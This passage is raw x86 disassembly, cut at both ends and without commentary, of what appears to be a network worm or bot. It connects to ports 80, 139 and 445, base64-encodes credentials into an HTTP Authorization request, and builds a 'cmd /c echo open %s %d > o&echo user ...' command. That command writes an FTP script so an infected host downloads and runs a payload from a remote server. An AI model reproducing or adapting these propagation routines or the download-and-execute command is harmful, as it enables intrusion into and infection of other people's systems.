[ebp+var_104] add eax, 6 mov [ebp+var_104], eax push 85h push offset dword_44993C push [ebp+arg_0] call sub_40FF05 add esp, 0Ch movzx eax, al test eax, eax jnz short loc_4100B0 push [ebp+var_10C] call sub_41F930 pop ecx xor al, al jmp short locret_41011E ; --------------------------------------------------------------------------- loc_4100B0: ; CODE XREF: sub_40FF4A+154j push 0 push 100h lea eax, [ebp+var_100] push eax push [ebp+arg_0] call sub_40FD9F add esp, 10h push [ebp+var_108] push [ebp+var_10C] push [ebp+arg_0] call sub_40FF05 add esp, 0Ch movzx eax, al test eax, eax jnz short loc_4100F7 push [ebp+var_10C] call sub_41F930 pop ecx xor al, al jmp short locret_41011E ; --------------------------------------------------------------------------- loc_4100F7: ; CODE XREF: sub_40FF4A+19Bj push 0 push 100h lea eax, [ebp+var_100] push eax push [ebp+arg_0] call sub_40FD9F add esp, 10h push [ebp+var_10C] call sub_41F930 pop ecx mov al, 1 locret_41011E: ; CODE XREF: sub_40FF4A+32j ; sub_40FF4A+164j ... leave retn sub_40FF4A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410120 proc near ; CODE XREF: .XComp0:00410690p var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_449A00 push [ebp+arg_0] nop call near ptr 71AB428Ah cmp eax, 48h jz short loc_410141 xor al, al jmp short locret_41017D ; --------------------------------------------------------------------------- loc_410141: ; CODE XREF: sub_410120+1Bj push 0 push 20h lea eax, [ebp+var_20] push eax push [ebp+arg_0] call sub_40FD9F add esp, 10h cmp eax, 0FFFFFFFFh jnz short loc_41015D xor al, al jmp short locret_41017D ; --------------------------------------------------------------------------- loc_41015D: ; CODE XREF: sub_410120+37j movzx eax, [ebp+var_20] cmp eax, 82h jz short loc_41016C xor al, al jmp short locret_41017D ; --------------------------------------------------------------------------- loc_41016C: ; CODE XREF: sub_410120+46j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40FF4A add esp, 0Ch locret_41017D: ; CODE XREF: sub_410120+1Fj ; sub_410120+3Bj ... leave retn sub_410120 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41017F proc near ; CODE XREF: sub_4101EB+27p var_2C = qword ptr -2Ch var_24 = qword ptr -24h var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 24h mov eax, [ebp+arg_0] shl eax, 3 mov dword ptr [ebp+var_C], eax and dword ptr [ebp+var_C+4], 0 fild [ebp+var_C] fdiv dbl_43E460 call sub_42313C mov [ebp+var_4], eax mov eax, [ebp+var_4] mov dword ptr [ebp+var_14], eax and dword ptr [ebp+var_14+4], 0 fild [ebp+var_14] fstp [ebp+var_1C] mov eax, [ebp+var_4] mov dword ptr [ebp+var_24], eax and dword ptr [ebp+var_24+4], 0 fild [ebp+var_24] fdiv dbl_43E458 push ecx push ecx ; double fstp [esp+2Ch+var_2C] call sub_422F50 pop ecx pop ecx fadd st, st fadd [ebp+var_1C] call sub_42313C mov [ebp+var_4], eax mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_4] leave retn sub_41017F endp ; =============== S U B R O U T I N E ======================================= sub_4101EB proc near ; CODE XREF: sub_4103B1+21p var_40 = qword ptr -40h mov eax, offset loc_43DBD0 call sub_423780 sub esp, 38h and dword ptr [ebp-3Ch], 0 lea eax, [ebp-38h] push eax lea ecx, [ebp-20h] call sub_410759 mov dword ptr [ebp-4], 1 push dword ptr [ebp+10h] call sub_41017F pop ecx push eax lea ecx, [ebp-20h] call sub_4108E2 and dword ptr [ebp-10h], 0 loc_410225: ; CODE XREF: sub_4101EB:loc_41037Dj cmp dword ptr [ebp+10h], 0 jbe loc_410382 cmp dword ptr [ebp+10h], 3 jb short loc_41023E mov dword ptr [ebp-30h], 3 jmp short loc_41025A ; --------------------------------------------------------------------------- loc_41023E: ; CODE XREF: sub_4101EB+48j cmp dword ptr [ebp+10h], 2 jnz short loc_41024D mov dword ptr [ebp-30h], 2 jmp short loc_41025A ; --------------------------------------------------------------------------- loc_41024D: ; CODE XREF: sub_4101EB+57j cmp dword ptr [ebp+10h], 1 jnz short loc_41025A mov dword ptr [ebp-30h], 1 loc_41025A: ; CODE XREF: sub_4101EB+51j ; sub_4101EB+60j ... mov eax, [ebp-30h] mov [ebp-44h], eax and dword ptr [ebp-40h], 0 fild qword ptr [ebp-44h] fmul dbl_43E468 fdiv dbl_43E460 push ecx push ecx ; double fstp [esp+40h+var_40] call sub_423170 pop ecx pop ecx call sub_42313C mov [ebp-2Ch], eax and dword ptr [ebp-34h], 0 jmp short loc_410294 ; --------------------------------------------------------------------------- loc_41028D: ; CODE XREF: sub_4101EB+C0j mov eax, [ebp-34h] inc eax mov [ebp-34h], eax loc_410294: ; CODE XREF: sub_4101EB+A0j mov eax, [ebp-34h] cmp eax, [ebp-30h] jnb short loc_4102AD mov eax, [ebp+0Ch] add eax, [ebp-34h] mov ecx, [ebp-34h] mov al, [eax] mov [ebp+ecx-28h], al jmp short loc_41028D ; --------------------------------------------------------------------------- loc_4102AD: ; CODE XREF: sub_4101EB+AFj mov eax, [ebp+0Ch] add eax, [ebp-30h] mov [ebp+0Ch], eax mov eax, [ebp+10h] sub eax, [ebp-30h] mov [ebp+10h], eax movsx eax, byte ptr [ebp-28h] and eax, 0FCh sar eax, 2 mov [ebp-24h], al movsx eax, byte ptr [ebp-28h] and eax, 3 shl eax, 4 movsx ecx, byte ptr [ebp-27h] and ecx, 0F0h sar ecx, 4 add eax, ecx mov [ebp-23h], al movsx eax, byte ptr [ebp-27h] and eax, 0Fh movsx ecx, byte ptr [ebp-26h] and ecx, 0C0h sar ecx, 6 lea eax, [ecx+eax*4] mov [ebp-22h], al movsx eax, byte ptr [ebp-26h] and eax, 3Fh mov [ebp-21h], al and dword ptr [ebp-34h], 0 jmp short loc_41031B ; --------------------------------------------------------------------------- loc_410314: ; CODE XREF: sub_4101EB+158j mov eax, [ebp-34h] inc eax mov [ebp-34h], eax loc_41031B: ; CODE XREF: sub_4101EB+127j mov eax, [ebp-34h] cmp eax, [ebp-2Ch] jnb short loc_410345 mov eax, [ebp-34h] movsx eax, byte ptr [ebp+eax-24h] mov al, byte_449A4C[eax] push eax push 1 lea ecx, [ebp-20h] call sub_41081E mov eax, [ebp-10h] inc eax mov [ebp-10h], eax jmp short loc_410314 ; --------------------------------------------------------------------------- loc_410345: ; CODE XREF: sub_4101EB+136j cmp dword ptr [ebp-10h], 48h jb short loc_41035A push dword ptr [ebp+14h] lea ecx, [ebp-20h] call sub_4107F0 and dword ptr [ebp-10h], 0 loc_41035A: ; CODE XREF: sub_4101EB+15Ej mov eax, [ebp-2Ch] mov [ebp-34h], eax jmp short loc_410369 ; --------------------------------------------------------------------------- loc_410362: ; CODE XREF: sub_4101EB+190j mov eax, [ebp-34h] inc eax mov [ebp-34h], eax loc_410369: ; CODE XREF: sub_4101EB+175j cmp dword ptr [ebp-34h], 4 jnb short loc_41037D push 3Dh push 1 lea ecx, [ebp-20h] call sub_41081E jmp short loc_410362 ; --------------------------------------------------------------------------- loc_41037D: ; CODE XREF: sub_4101EB+182j jmp loc_410225 ; --------------------------------------------------------------------------- loc_410382: ; CODE XREF: sub_4101EB+3Ej lea eax, [ebp-20h] push eax mov ecx, [ebp+8] call sub_41077B mov eax, [ebp-3Ch] or al, 1 mov [ebp-3Ch], eax and byte ptr [ebp-4], 0 lea ecx, [ebp-20h] call sub_4107DD mov eax, [ebp+8] mov ecx, [ebp-0Ch] mov large fs:0, ecx leave retn sub_4101EB endp ; =============== S U B R O U T I N E ======================================= sub_4103B1 proc near ; CODE XREF: .XComp0:00410655p mov eax, offset loc_43DBEC call sub_423780 sub esp, 24h push esi and dword ptr [ebp-4], 0 push offset dword_4E4438 push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] lea eax, [ebp-24h] push eax call sub_4101EB add esp, 10h mov byte ptr [ebp-4], 1 lea ecx, [ebp+14h] call sub_4108D3 mov esi, eax lea ecx, [ebp-24h] call sub_4108D3 lea eax, [esi+eax+36h] mov [ebp-14h], eax push dword ptr [ebp-14h] call sub_41EDA0 pop ecx mov [ebp-10h], eax cmp dword ptr [ebp-10h], 0 jnz short loc_41042D and byte ptr [ebp-28h], 0 and byte ptr [ebp-4], 0 lea ecx, [ebp-24h] call sub_4107DD or dword ptr [ebp-4], 0FFFFFFFFh lea ecx, [ebp+14h] call sub_4107DD mov al, [ebp-28h] jmp loc_4104BA ; --------------------------------------------------------------------------- loc_41042D: ; CODE XREF: sub_4103B1+56j lea ecx, [ebp-24h] call sub_4108AA push eax lea ecx, [ebp+14h] call sub_4108AA push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push dword ptr [ebp-14h] push dword ptr [ebp-10h] call sub_421B90 add esp, 14h push 0 push dword ptr [ebp-14h] push dword ptr [ebp-10h] push dword ptr [ebp+8] call dword_4E1750 ; send cmp eax, [ebp-14h] jz short loc_410492 push dword ptr [ebp-10h] call sub_41F930 pop ecx and byte ptr [ebp-2Ch], 0 and byte ptr [ebp-4], 0 lea ecx, [ebp-24h] call sub_4107DD or dword ptr [ebp-4], 0FFFFFFFFh lea ecx, [ebp+14h] call sub_4107DD mov al, [ebp-2Ch] jmp short loc_4104BA ; --------------------------------------------------------------------------- loc_410492: ; CODE XREF: sub_4103B1+B5j push dword ptr [ebp-10h] call sub_41F930 pop ecx mov byte ptr [ebp-30h], 1 and byte ptr [ebp-4], 0 lea ecx, [ebp-24h] call sub_4107DD or dword ptr [ebp-4], 0FFFFFFFFh lea ecx, [ebp+14h] call sub_4107DD mov al, [ebp-30h] loc_4104BA: ; CODE XREF: sub_4103B1+77j ; sub_4103B1+DFj mov ecx, [ebp-0Ch] mov large fs:0, ecx pop esi leave retn sub_4103B1 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 438h push edi and byte ptr [ebp-408h], 0 mov ecx, 0FFh xor eax, eax lea edi, [ebp-407h] rep stosd stosw stosb push 8Fh push offset sub_449BF8 lea eax, [ebp-408h] push eax call sub_422B50 add esp, 0Ch push offset byte_4410E8 push offset byte_4410E8 movzx eax, word ptr dword_4E1418 push eax push dword ptr [ebp+8] call sub_40C86E pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "... push 400h lea eax, [ebp-379h] push eax call sub_421B90 add esp, 1Ch mov [ebp-4], eax mov eax, [ebp-4] add eax, 90h mov [ebp-418h], eax push dword ptr [ebp-418h] lea eax, [ebp-408h] push eax push 164h push offset sub_449A90 lea eax, [ebp-414h] push eax call sub_40F9E5 add esp, 14h cmp dword ptr [ebp-410h], 0 jnz short loc_41057F xor eax, eax jmp loc_410737 ; --------------------------------------------------------------------------- loc_41057F: ; CODE XREF: .XComp0:00410576j and dword ptr [ebp-8], 0 and dword ptr [ebp-40Ch], 0 loc_41058A: ; CODE XREF: .XComp0:004106F9j cmp dword ptr [ebp-8], 2 jge loc_4106FE cmp dword ptr [ebp-40Ch], 0 jnz loc_4106FE push 6 push 1 push 2 call near ptr 71AB3B91h nop mov [ebp-41Ch], eax cmp dword ptr [ebp-41Ch], 0FFFFFFFFh jz loc_4106DE and word ptr [ebp-42Ch], 0 xor eax, eax lea edi, [ebp-42Ah] stosd stosd stosd stosw mov word ptr [ebp-42Ch], 2 push dword ptr [ebp+0A8h] call dword_4E1700 ; ntohs mov [ebp-42Ah], ax lea eax, [ebp+0Ch] push eax call dword_4E1740 ; inet_addr mov [ebp-428h], eax push 10h lea eax, [ebp-42Ch] push eax push dword ptr [ebp-41Ch] call dword_4E16A8 ; connect cmp eax, 0FFFFFFFFh jz loc_4106D2 cmp dword ptr [ebp+0A8h], 50h jnz short loc_410672 sub esp, 10h mov ecx, esp mov [ebp-430h], esp lea eax, [ebp-434h] push eax lea eax, [ebp+0Ch] push eax call sub_4107B0 push dword ptr [ebp-410h] push dword ptr [ebp-414h] push dword ptr [ebp-41Ch] call sub_4103B1 add esp, 1Ch mov [ebp-435h], al movzx eax, byte ptr [ebp-435h] mov [ebp-40Ch], eax jmp short loc_4106D2 ; --------------------------------------------------------------------------- loc_410672: ; CODE XREF: .XComp0:00410626j cmp dword ptr [ebp+0A8h], 8Bh jnz short loc_4106A3 push dword ptr [ebp-410h] push dword ptr [ebp-414h] push dword ptr [ebp-41Ch] call sub_410120 add esp, 0Ch movzx eax, al mov [ebp-40Ch], eax jmp short loc_4106D2 ; --------------------------------------------------------------------------- loc_4106A3: ; CODE XREF: .XComp0:0041067Cj cmp dword ptr [ebp+0A8h], 1BDh jnz short loc_4106D2 push dword ptr [ebp-410h] push dword ptr [ebp-414h] push dword ptr [ebp-41Ch] call sub_40FF4A add esp, 0Ch movzx eax, al mov [ebp-40Ch], eax loc_4106D2: ; CODE XREF: .XComp0:00410619j ; .XComp0:00410670j ... push dword ptr [ebp-41Ch] call dword_4E1798 ; closesocket loc_4106DE: ; CODE XREF: .XComp0:004105BAj cmp dword ptr [ebp-40Ch], 0 jnz short loc_4106F2 push 3E8h nop call near ptr 27A0000h loc_4106F2: ; CODE XREF: .XComp0:004106E5j mov eax, [ebp-8] inc eax mov [ebp-8], eax jmp loc_41058A ; --------------------------------------------------------------------------- loc_4106FE: ; CODE XREF: .XComp0:0041058Ej ; .XComp0:0041059Bj lea ecx, [ebp-414h] call sub_40F738 cmp dword ptr [ebp-40Ch], 0 jz short loc_410731 mov eax, [ebp+0B0h] shl eax, 6 mov eax, dword_448FF0[eax] inc eax mov ecx, [ebp+0B0h] shl ecx, 6 mov dword_448FF0[ecx], eax loc_410731: ; CODE XREF: .XComp0:00410710j mov eax, [ebp-40Ch] loc_410737: ; CODE XREF: .XComp0:0041057Aj pop edi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41073A proc near ; DATA XREF: .XComp0:00441008o push ebp mov ebp, esp call sub_411029 call sub_410749 pop ebp retn sub_41073A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410749 proc near ; CODE XREF: sub_41073A+8p push ebp mov ebp, esp push offset sub_411048 call sub_423C70 pop ecx pop ebp retn sub_410749 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410759 proc near ; CODE XREF: sub_4101EB+18p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+arg_0] mov al, [eax] mov ecx, [ebp+var_4] mov [ecx], al push 0 mov ecx, [ebp+var_4] call sub_410C66 mov eax, [ebp+var_4] leave retn 4 sub_410759 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41077B proc near ; CODE XREF: sub_4101EB+19Ep ; sub_43CFE0+3Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+arg_0] mov al, [eax] mov ecx, [ebp+var_4] mov [ecx], al push 0 mov ecx, [ebp+var_4] call sub_410C66 push dword_43E470 push 0 push [ebp+arg_0] mov ecx, [ebp+var_4] call sub_41098C mov eax, [ebp+var_4] leave retn 4 sub_41077B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4107B0 proc near ; CODE XREF: .XComp0:0041063Ep ; sub_43CF80+27p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+arg_4] mov al, [eax] mov ecx, [ebp+var_4] mov [ecx], al push 0 mov ecx, [ebp+var_4] call sub_410C66 push [ebp+arg_0] mov ecx, [ebp+var_4] call sub_410AE1 mov eax, [ebp+var_4] leave retn 8 sub_4107B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4107DD proc near ; CODE XREF: sub_4101EB+1B2p ; sub_4103B1+63p ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx push 1 mov ecx, [ebp+var_4] call sub_410C66 leave retn sub_4107DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4107F0 proc near ; CODE XREF: sub_4101EB+166p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx push [ebp+arg_0] call sub_410810 pop ecx push eax push [ebp+arg_0] mov ecx, [ebp+var_4] call sub_410905 leave retn 4 sub_4107F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410810 proc near ; CODE XREF: sub_4107F0+Ap ; sub_410AE1+Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call sub_41EBD0 pop ecx pop ebp retn sub_410810 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41081E proc near ; CODE XREF: sub_4101EB+14Cp ; sub_4101EB+18Bp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov [ebp+var_8], ecx mov eax, [ebp+var_8] mov ecx, dword_43E470 sub ecx, [eax+8] cmp ecx, [ebp+arg_0] ja short loc_41083C call sub_43CF80 loc_41083C: ; CODE XREF: sub_41081E+17j cmp [ebp+arg_0], 0 jbe short loc_410889 push 0 mov eax, [ebp+var_8] mov eax, [eax+8] add eax, [ebp+arg_0] mov [ebp+var_4], eax push [ebp+var_4] mov ecx, [ebp+var_8] call sub_410B3E movzx eax, al test eax, eax jz short loc_410889 lea eax, [ebp+arg_4] push eax push [ebp+arg_0] mov eax, [ebp+var_8] mov eax, [eax+4] mov ecx, [ebp+var_8] add eax, [ecx+8] push eax call sub_410890 add esp, 0Ch push [ebp+var_4] mov ecx, [ebp+var_8] call sub_410B01 loc_410889: ; CODE XREF: sub_41081E+22j ; sub_41081E+42j mov eax, [ebp+var_8] leave retn 8 sub_41081E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410890 proc near ; CODE XREF: sub_41081E+58p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push [ebp+arg_4] mov eax, [ebp+arg_8] movsx eax, byte ptr [eax] push eax push [ebp+arg_0] call sub_421410 add esp, 0Ch pop ebp retn sub_410890 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4108AA proc near ; CODE XREF: sub_4103B1+7Fp ; sub_4103B1+88p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] cmp dword ptr [eax+4], 0 jnz short loc_4108C5 call sub_410C5C mov [ebp+var_8], eax jmp short loc_4108CE ; --------------------------------------------------------------------------- loc_4108C5: ; CODE XREF: sub_4108AA+Fj mov eax, [ebp+var_4] mov eax, [eax+4] mov [ebp+var_8], eax loc_4108CE: ; CODE XREF: sub_4108AA+19j mov eax, [ebp+var_8] leave retn sub_4108AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4108D3 proc near ; CODE XREF: sub_4103B1+30p ; sub_4103B1+3Ap var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov eax, [eax+8] leave retn sub_4108D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4108E2 proc near ; CODE XREF: sub_4101EB+31p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov eax, [eax+0Ch] cmp eax, [ebp+arg_0] jnb short locret_410901 push 0 push [ebp+arg_0] mov ecx, [ebp+var_4] call sub_410B3E locret_410901: ; CODE XREF: sub_4108E2+10j leave retn 4 sub_4108E2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410905 proc near ; CODE XREF: sub_4107F0+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov [ebp+var_8], ecx mov eax, [ebp+var_8] mov ecx, dword_43E470 sub ecx, [eax+8] cmp ecx, [ebp+arg_4] ja short loc_410923 call sub_43CF80 loc_410923: ; CODE XREF: sub_410905+17j cmp [ebp+arg_4], 0 jbe short loc_41096F push 0 mov eax, [ebp+var_8] mov eax, [eax+8] add eax, [ebp+arg_4] mov [ebp+var_4], eax push [ebp+var_4] mov ecx, [ebp+var_8] call sub_410B3E movzx eax, al test eax, eax jz short loc_41096F push [ebp+arg_4] push [ebp+arg_0] mov eax, [ebp+var_8] mov eax, [eax+4] mov ecx, [ebp+var_8] add eax, [ecx+8] push eax call sub_410976 add esp, 0Ch push [ebp+var_4] mov ecx, [ebp+var_8] call sub_410B01 loc_41096F: ; CODE XREF: sub_410905+22j ; sub_410905+42j mov eax, [ebp+var_8] leave retn 8 sub_410905 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410976 proc near ; CODE XREF: sub_410905+57p ; sub_41098C+12Cp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_422B50 add esp, 0Ch pop ebp retn sub_410976 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41098C proc near ; CODE XREF: sub_41077B+29p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_8], ecx mov ecx, [ebp+arg_0] call sub_410AD2 cmp eax, [ebp+arg_4] jnb short loc_4109A7 call sub_43D280 loc_4109A7: ; CODE XREF: sub_41098C+14j mov ecx, [ebp+arg_0] call sub_410AD2 sub eax, [ebp+arg_4] mov [ebp+var_4], eax mov eax, [ebp+arg_8] cmp eax, [ebp+var_4] jnb short loc_4109C3 mov eax, [ebp+arg_8] mov [ebp+var_4], eax loc_4109C3: ; CODE XREF: sub_41098C+2Fj mov eax, [ebp+var_8] cmp eax, [ebp+arg_0] jnz short loc_4109F2 push dword_43E470 mov eax, [ebp+arg_4] add eax, [ebp+var_4] push eax mov ecx, [ebp+var_8] call sub_410D40 push [ebp+arg_4] push 0 mov ecx, [ebp+var_8] call sub_410D40 jmp loc_410ACB ; --------------------------------------------------------------------------- loc_4109F2: ; CODE XREF: sub_41098C+3Dj cmp [ebp+var_4], 0 jbe loc_410A8F mov ecx, [ebp+arg_0] call sub_410AD2 cmp [ebp+var_4], eax jnz loc_410A8F mov ecx, [ebp+arg_0] call sub_4108AA push eax mov ecx, [ebp+var_8] call sub_410F4B movzx eax, byte ptr [eax] cmp eax, 0FEh jge short loc_410A8F push [ebp+arg_0] push [ebp+var_8] call sub_41100A pop ecx pop ecx movzx eax, al test eax, eax jz short loc_410A8F push 1 mov ecx, [ebp+var_8] call sub_410C66 mov ecx, [ebp+arg_0] call sub_4108AA mov ecx, [ebp+var_8] mov [ecx+4], eax mov ecx, [ebp+arg_0] call sub_410AD2 mov ecx, [ebp+var_8] mov [ecx+8], eax mov ecx, [ebp+arg_0] call sub_410E24 mov ecx, [ebp+var_8] mov [ecx+0Ch], eax mov eax, [ebp+var_8] push dword ptr [eax+4] mov ecx, [ebp+var_8] call sub_410F4B mov [ebp+var_C], eax mov eax, [ebp+var_C] mov al, [eax] add al, 1 mov ecx, [ebp+var_C] mov [ecx], al jmp short loc_410ACB ; --------------------------------------------------------------------------- loc_410A8F: ; CODE XREF: sub_41098C+6Aj ; sub_41098C+7Bj ... push 1 push [ebp+var_4] mov ecx, [ebp+var_8] call sub_410B3E movzx eax, al test eax, eax jz short loc_410ACB push [ebp+var_4] mov ecx, [ebp+arg_0] call sub_4108AA add eax, [ebp+arg_4] push eax mov eax, [ebp+var_8] push dword ptr [eax+4] call sub_410976 add esp, 0Ch push [ebp+var_4] mov ecx, [ebp+var_8] call sub_410B01 loc_410ACB: ; CODE XREF: sub_41098C+61j ; sub_41098C+101j ... mov eax, [ebp+var_8] leave retn 0Ch sub_41098C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410AD2 proc near ; CODE XREF: sub_41098C+Cp ; sub_41098C+1Ep ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov eax, [eax+8] leave retn sub_410AD2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410AE1 proc near ; CODE XREF: sub_4107B0+21p ; sub_410F6E+57p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx push [ebp+arg_0] call sub_410810 pop ecx push eax push [ebp+arg_0] mov ecx, [ebp+var_4] call sub_410CFF leave retn 4 sub_410AE1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410B01 proc near ; CODE XREF: sub_41081E+66p ; sub_410905+65p ... var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov [ebp+var_8], ecx and [ebp+var_4], 0 lea eax, [ebp+var_4] push eax mov eax, [ebp+var_8] mov ecx, [ebp+arg_0] mov [eax+8], ecx mov eax, [ebp+var_8] mov eax, [eax+4] add eax, [ebp+arg_0] push eax call sub_410B2F pop ecx pop ecx leave retn 4 sub_410B01 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410B2F proc near ; CODE XREF: sub_410B01+23p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] mov ecx, [ebp+arg_4] mov cl, [ecx] mov [eax], cl pop ebp retn sub_410B2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410B3E proc near ; CODE XREF: sub_41081E+38p ; sub_4108E2+1Ap ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] call sub_410DF4 cmp eax, [ebp+arg_0] jnb short loc_410B58 call sub_43CF80 loc_410B58: ; CODE XREF: sub_410B3E+13j mov eax, [ebp+var_4] cmp dword ptr [eax+4], 0 jz short loc_410BD4 mov eax, [ebp+var_4] push dword ptr [eax+4] mov ecx, [ebp+var_4] call sub_410F4B movzx eax, byte ptr [eax] test eax, eax jz short loc_410BD4 mov eax, [ebp+var_4] push dword ptr [eax+4] mov ecx, [ebp+var_4] call sub_410F4B movzx eax, byte ptr [eax] cmp eax, 0FFh jz short loc_410BD4 cmp [ebp+arg_0], 0 jnz short loc_410BC2 mov eax, [ebp+var_4] push dword ptr [eax+4] mov ecx, [ebp+var_4] call sub_410F4B mov [ebp+var_8], eax mov eax, [ebp+var_8] mov al, [eax] sub al, 1 mov ecx, [ebp+var_8] mov [ecx], al push 0 mov ecx, [ebp+var_4] call sub_410C66 xor al, al jmp locret_410C58 ; --------------------------------------------------------------------------- loc_410BC2: ; CODE XREF: sub_410B3E+54j push [ebp+arg_0] mov ecx, [ebp+var_4] call sub_410E33 mov al, 1 jmp locret_410C58 ; --------------------------------------------------------------------------- loc_410BD4: ; CODE XREF: sub_410B3E+21j ; sub_410B3E+36j ... cmp [ebp+arg_0], 0 jnz short loc_410C05 movzx eax, [ebp+arg_4] test eax, eax jz short loc_410BEE push 1 mov ecx, [ebp+var_4] call sub_410C66 jmp short loc_410C01 ; --------------------------------------------------------------------------- loc_410BEE: ; CODE XREF: sub_410B3E+A2j mov eax, [ebp+var_4] cmp dword ptr [eax+4], 0 jz short loc_410C01 push 0 mov ecx, [ebp+var_4] call sub_410B01 loc_410C01: ; CODE XREF: sub_410B3E+AEj ; sub_410B3E+B7j xor al, al jmp short locret_410C58 ; --------------------------------------------------------------------------- loc_410C05: ; CODE XREF: sub_410B3E+9Aj movzx eax, [ebp+arg_4] test eax, eax jz short loc_410C38 mov eax, [ebp+var_4] cmp dword ptr [eax+0Ch], 1Fh ja short loc_410C21 mov eax, [ebp+var_4] mov eax, [eax+0Ch] cmp eax, [ebp+arg_0] jnb short loc_410C38 loc_410C21: ; CODE XREF: sub_410B3E+D6j push 1 mov ecx, [ebp+var_4] call sub_410C66 push [ebp+arg_0] mov ecx, [ebp+var_4] call sub_410E33 jmp short loc_410C56 ; --------------------------------------------------------------------------- loc_410C38: ; CODE XREF: sub_410B3E+CDj ; sub_410B3E+E1j movzx eax, [ebp+arg_4] test eax, eax jnz short loc_410C56 mov eax, [ebp+var_4] mov eax, [eax+0Ch] cmp eax, [ebp+arg_0] jnb short loc_410C56 push [ebp+arg_0] mov ecx, [ebp+var_4] call sub_410E33 loc_410C56: ; CODE XREF: sub_410B3E+F8j ; sub_410B3E+100j ... mov al, 1 locret_410C58: ; CODE XREF: sub_410B3E+7Fj ; sub_410B3E+91j ... leave retn 8 sub_410B3E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410C5C proc near ; CODE XREF: sub_4108AA+11p push ebp mov ebp, esp mov eax, offset dword_43E474 pop ebp retn sub_410C5C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410C66 proc near ; CODE XREF: sub_410759+16p ; sub_41077B+16p ... var_8 = dword ptr -8 var_4 = dword ptr 